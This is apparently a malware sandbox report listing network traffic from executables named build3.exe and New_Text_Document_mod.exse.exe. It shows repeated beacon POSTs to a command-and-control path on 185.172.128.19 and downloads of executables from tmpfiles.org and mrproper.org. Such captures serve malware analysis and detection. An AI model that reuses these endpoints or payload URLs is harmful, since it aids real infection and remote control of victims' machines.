Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	50120	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:53.627137899 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:53.917164087 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	50121	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:54.314992905 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:54.605863094 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	50123	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:54.900171041 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:55.193181992 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	50125	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:55.598721027 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:55.890614033 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	50128	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:56.189831018 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:56.483688116 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	50130	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:56.894963026 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:57.185194016 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:57.187880993 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:57.503957033 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	50132	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:57.910828114 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:58.202537060 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	50134	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:58.504909039 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:58.798721075 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	50137	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:59.221146107 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:59.517083883 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	50138	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:59.835211992 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:39:00.129017115 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	50139	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:39:00.539773941 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:39:00.838797092 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:39:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:39:00.841233969 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:39:01.137705088 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	50142	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:39:01.536699057 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:39:01.828130007 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.4	50144	185.172.128.19	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:39:02.124959946 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:39:02.417609930 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:39:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.21.21.16	443	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:00 UTC	84	OUT	GET /dl/3467996/anydesk.exe HTTP/1.1 Host: tmpfiles.org Connection: Keep-Alive
2023-12-20 14:35:01 UTC	1339	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 14:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: BYPASS Set-Cookie: XSRF-TOKEN=eyJpdiI6IldkaEpqaTVEeGlyZGF6VUx5ejRWcFE9PSIsInZhbHVlIjoidS9hNXZPVkovcklJYkZ1bnl0aXE2Wng2RDhSM3ZzL2FBOSt5S3hacjU5dzNjaG1temJ3R3NaT1RNeWM2Y0VDczQ1ek9VV0FmaDZwRXF3dUZMN0lVSVpTWTB1alB0c0NoTjNzTnBsZEE5djZBVDlaQ1FobGJLVEVnUGZBRXZWRlUiLCJtYWMiOiJhYzUzN2I4MDY0NTFhMTMzMWE4ZDc5NDI1MDgwNTdjNTU3Nzg4NWU2NDM4NzBkNzU1M2I2NWFjZjI5M2FkMjc3In0%3D; expires=Wed, 20-Dec-2023 16:35:01 GMT; Max-Age=7200; path=/; samesite=lax Set-Cookie: tmpfiles_session=eyJpdiI6ImFlL3pzc1lFQ2Y5amlpekpRaWdyMEE9PSIsInZhbHVlIjoiazZBbVltcDczT2dDVi9ob0c2TmNNWEN4eUdnVGNLaDI5aEo1dm9oOW9YRXFMZDNpRGZJQ3UxV09JdUlkMzBqZlZpSGNuaFU0b040TjcyY3BReUxpdkdlTStzOE51c05GQW1LYXVha1hCVUE1ck5YRzFOVElJZzYrYzVuNk41U0siLCJtYWMiOiIyMzQwMmMyYjRmMWY0ZmE1MDRiMmNmMTA1MTI3OGVkMzJkMTE0NGQ0YTViMWY1ZTEzNDNhYTBlYjBlMmVjZjdlIn0%3D; expires=Wed, 20-Dec-2023 16:35:01 GMT; Max-Age=7200; path=/; httponly; samesite=lax Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8rymKA%2FScybdvFOHQWJr21NIUvBESh4x3dTFKysJEbWjrDEDXJOlwqgbhcUAv4t0S9Sk52PyKTMmVv%2BrnQrt0a%2BDoF%2FeEAL4NpKih939ojpfncskvtWoBYDL10IjRgM%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 14:35:01 UTC	149	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 38 38 39 63 30 32 36 64 38 32 36 64 61 39 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83889c026d826da9-MIAalt-svc: h3=":443"; ma=86400
2023-12-20 14:35:01 UTC	1369	IN	Data Raw: 31 39 64 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 73 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 Data Ascii: 19d1<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Not Found</title> ... Fonts --> <link rel="preconnect" href="ht
2023-12-20 14:35:01 UTC	1369	IN	Data Raw: 23 65 64 66 32 66 37 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 33 37 2c 32 34 32 2c 32 34 37 2c 76 61 72 28 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 29 29 7d 2e 62 6f 72 64 65 72 2d 67 72 61 79 2d 34 30 30 7b 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 3a 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 63 62 64 35 65 30 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 30 33 2c 32 31 33 2c 32 32 34 2c 76 61 72 28 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 29 29 7d 2e 62 6f 72 64 65 72 2d 74 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 31 70 78 7d 2e 62 6f 72 64 65 72 2d 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 31 70 78 7d 2e 66 6c 65 78 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 2e Data Ascii: #edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-gray-400{--border-opacity:1;border-color:#cbd5e0;border-color:rgba(203,213,224,var(--border-opacity))}.border-t{border-top-width:1px}.border-r{border-right-width:1px}.flex{display:flex}.
2023-12-20 14:35:01 UTC	1369	IN	Data Raw: 72 61 79 2d 33 30 30 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 3a 31 3b 63 6f 6c 6f 72 3a 23 65 32 65 38 66 30 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 32 36 2c 32 33 32 2c 32 34 30 2c 76 61 72 28 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 29 29 7d 2e 74 65 78 74 2d 67 72 61 79 2d 34 30 30 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 3a 31 3b 63 6f 6c 6f 72 3a 23 63 62 64 35 65 30 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 30 33 2c 32 31 33 2c 32 32 34 2c 76 61 72 28 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 29 29 7d 2e 74 65 78 74 2d 67 72 61 79 2d 35 30 30 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 3a 31 3b 63 6f 6c 6f 72 3a 23 61 30 61 65 63 30 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 31 36 30 2c 31 37 34 2c 31 39 32 2c 76 61 72 28 2d 2d 74 65 78 74 2d 6f 70 Data Ascii: ray-300{--text-opacity:1;color:#e2e8f0;color:rgba(226,232,240,var(--text-opacity))}.text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-op
2023-12-20 14:35:01 UTC	1369	IN	Data Raw: 7a 69 65 72 28 2e 38 2c 30 2c 31 2c 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 38 2c 30 2c 31 2c 31 29 7d 35 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 2c 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 2c 31 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 20 62 6f 75 6e 63 65 7b 30 25 2c 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 32 35 25 29 3b 2d 77 65 62 Data Ascii: zier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@keyframes bounce{0%,to{transform:translateY(-25%);-web
2023-12-20 14:35:01 UTC	1141	IN	Data Raw: 28 2d 2d 62 67 2d 6f 70 61 63 69 74 79 29 29 7d 2e 64 61 72 6b 5c 3a 62 6f 72 64 65 72 2d 67 72 61 79 2d 37 30 30 7b 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 3a 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 34 61 35 35 36 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 37 34 2c 38 35 2c 31 30 34 2c 76 61 72 28 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 29 29 7d 2e 64 61 72 6b 5c 3a 74 65 78 74 2d 77 68 69 74 65 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 3a 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 76 61 72 28 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 29 29 7d 2e 64 61 72 6b 5c 3a 74 65 78 74 2d 67 72 61 79 2d 34 30 30 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 Data Ascii: (--bg-opacity))}.dark\:border-gray-700{--border-opacity:1;border-color:#4a5568;border-color:rgba(74,85,104,var(--border-opacity))}.dark\:text-white{--text-opacity:1;color:#fff;color:rgba(255,255,255,var(--text-opacity))}.dark\:text-gray-400{--text-opacity
2023-12-20 14:35:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	104.21.63.180	443	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:06 UTC	74	OUT	GET /e0cbefcb1af40c7d4aff4aca26621a98.exe HTTP/1.1 Host: mrproper.org
